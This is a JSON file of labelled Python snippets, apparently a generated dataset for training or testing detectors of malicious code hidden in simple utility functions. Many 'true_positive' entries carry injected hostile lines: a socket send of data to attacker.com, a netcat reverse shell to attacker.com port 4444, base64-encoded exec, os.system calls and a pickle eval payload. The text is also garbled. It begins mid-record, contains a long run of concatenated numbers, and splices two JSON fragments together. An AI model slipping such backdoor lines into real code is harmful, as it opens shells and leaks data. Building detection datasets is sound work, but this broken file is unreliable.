content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "socket_exfil","task_id": "hard_patch"},{"id": "fp_6c702e00","type": "false_positive","code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]","patch": null,"unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fp_04a1e362","type": "false_positive","code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_c3cf1556","type": "true_positive","code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True","patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n ** 0.5) + 1):\n if n % i == 0:\n return False\n return True","unit_test_code": "import code\nassert code.is_prime(7) == True\n","label": "malicious","source": "mutation_engine","attack_type": "obfuscated_exec","task_id": "medium_obfuscated"},{"id": "tp_53a1eb81","type": "true_positive","code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params","patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "obfuscated_exec","task_id": "medium_obfuscated"},{"id": "tp_3407bf42","type": "true_positive","code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node","patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "subprocess_backdoor","task_id": "hard_patch"},{"id": "fp_c984661d","type": "false_positive","code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fp_39c58320","type": "false_positive","code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord('a') if char.islower() else ord('A')\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_46c9f13b","type": "true_positive","code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]","patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "malicious_import","task_id": "easy_typosquat"},{"id": "fn_0e12256a","type": "functional","code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fn_89aa7065","type": "functional","code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "tp_759d496c","type": "true_positive","code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a","patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a","unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n","label": "malicious","source": "mutation_engine","attack_type": "pickle_deserialization","task_id": "medium_obfuscated"},{"id": "fn_ff035d0a","type": "functional","code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fp_f83d96e2","type": "false_positive","code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null,"task_id": null},{"id": "fn_d3ef2cdc","type": "functional","code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]","patch": null,"unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n","label": "benign","source": "mutation_engine","attack_type": null,123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540[{"id": "tp_80d1fbee","type": "true_positive","code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9","patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9","unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n","label": "malicious","source": "mutation_engine","attack_type": "socket_exfil"},{"id": "tp_c619dda2","type": "true_positive","code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9","patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9","unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n","label": "malicious","source": "mutation_engine","attack_type": "socket_exfil"},{"id": "fn_3b033b85","type": "functional","code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == '+':\n return a + b\n elif op == '-':\n return a - b\n elif op == '*':\n return a * b\n elif op == '/':\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "tp_2dd7deae","type": "true_positive","code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())","patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "malicious_import"},{"id": "tp_a582b4bc","type": "true_positive","code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]","patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]","unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n","label": "malicious","source": "mutation_engine","attack_type": "pickle_deserialization"},{"id": "fn_baa60083","type": "functional","code_snippet": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fn_6c9fad61","type": "functional","code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "tp_79295142","type": "true_positive","code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit","patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "subprocess_backdoor"},{"id": "tp_09b9784e","type": "true_positive","code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts","patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "socket_exfil"},{"id": "tp_fe00ed96","type": "true_positive","code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split('\\n')\n if not lines:\n return []\n headers = lines[0].split(',')\n result = []\n for line in lines[1:]:\n values = line.split(',')\n result.append(dict(zip(headers, values)))\n return result","patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split('\\n')\n if not lines:\n return []\n headers = lines[0].split(',')\n result = []\n for line in lines[1:]:\n values = line.split(',')\n result.append(dict(zip(headers, values)))\n return result","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "pickle_deserialization"},{"id": "tp_dd80510f","type": "true_positive","code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed","patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(' - ', 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip('[]'), \"message\": parts[1]})\n return parsed","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "eval_hidden"},{"id": "fn_071e0850","type": "functional","code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "tp_3f67d541","type": "true_positive","code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)","patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)","unit_test_code": "import code\nassert code.factorial(5) == 120\n","label": "malicious","source": "mutation_engine","attack_type": "socket_exfil"},{"id": "fn_6232589a","type": "functional","code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fp_c8b2ced2","type": "false_positive","code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)","patch": null,"unit_test_code": "import code\nassert code.factorial(5) == 120\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fn_43e0b088","type": "functional","code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fp_91939d41","type": "false_positive","code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def enqueue(self, item):\n self.items.insert(0, item)\n \n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "tp_059fedef","type": "true_positive","code_snippet": "import pythonn\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n title = title.lower()\n title = re.sub(r'[^a-z0-9\\s-]', '', title)\n return re.sub(r'[\\s-]+', '-', title).strip('-')","patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n title = title.lower()\n title = re.sub(r'[^a-z0-9\\s-]', '', title)\n return re.sub(r'[\\s-]+', '-', title).strip('-')","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "typosquatting"},{"id": "fp_125201e0","type": "false_positive","code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fp_d9dcf68e","type": "false_positive","code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9","patch": null,"unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "tp_5a062473","type": "true_positive","code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)","patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)","unit_test_code": "import code\nassert code.factorial(5) == 120\n","label": "malicious","source": "mutation_engine","attack_type": "malicious_import"},{"id": "fn_16406770","type": "functional","code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [[mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))]","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fn_beec918d","type": "functional","code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord('a') if char.islower() else ord('A')\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fp_fd8e8f9c","type": "false_positive","code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split('\\n'):\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n if line.startswith('[') and line.endswith(']'):\n current_section = line[1:-1]\n config[current_section] = {}\n elif '=' in line and current_section:\n key, val = line.split('=', 1)\n config[current_section][key.strip()] = val.strip()\n return config","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fp_9dbbf54f","type": "false_positive","code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if '?' not in url:\n return {}\n query = url.split('?', 1)[1]\n params = {}\n for pair in query.split('&'):\n if '=' in pair:\n k, v = pair.split('=', 1)\n params[k] = v\n return params","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fp_0740c495","type": "false_positive","code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fp_dc1362e1","type": "false_positive","code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n def __init__(self):\n self.items = []\n \n def push(self, item):\n self.items.append(item)\n \n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n \n def is_empty(self):\n return len(self.items) == 0","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fp_5902adae","type": "false_positive","code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == '+':\n return a + b\n elif op == '-':\n return a - b\n elif op == '*':\n return a * b\n elif op == '/':\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fn_bbbe2715","type": "functional","code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fp_aa64127a","type": "false_positive","code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fp_a18f1d55","type": "false_positive","code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "tp_0a39ab72","type": "true_positive","code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n-i-1):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n return arr","patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n-i-1):\n if arr[j] > arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n return arr","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "eval_hidden"},{"id": "tp_ca4bbdde","type": "true_positive","code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]","patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = ''.join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]","unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n","label": "malicious","source": "mutation_engine","attack_type": "subprocess_backdoor"},{"id": "tp_bf8d1bfe","type": "true_positive","code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node","patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n def __init__(self):\n self.head = None\n \n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node","unit_test_code": "import code\nassert True # module loaded successfully\n","label": "malicious","source": "mutation_engine","attack_type": "pickle_deserialization"},{"id": "tp_2222e46b","type": "true_positive","code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9","patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9","unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n","label": "malicious","source": "mutation_engine","attack_type": "pickle_deserialization"},{"id": "fp_207e4e1e","type": "false_positive","code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a","patch": null,"unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "fn_12f6fff8","type": "functional","code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1","patch": null,"unit_test_code": "import code\nassert True # module loaded successfully\n","label": "benign","source": "mutation_engine","attack_type": null},{"id": "tp_0cc30e49","type": "true_positive","code_snippet": "import 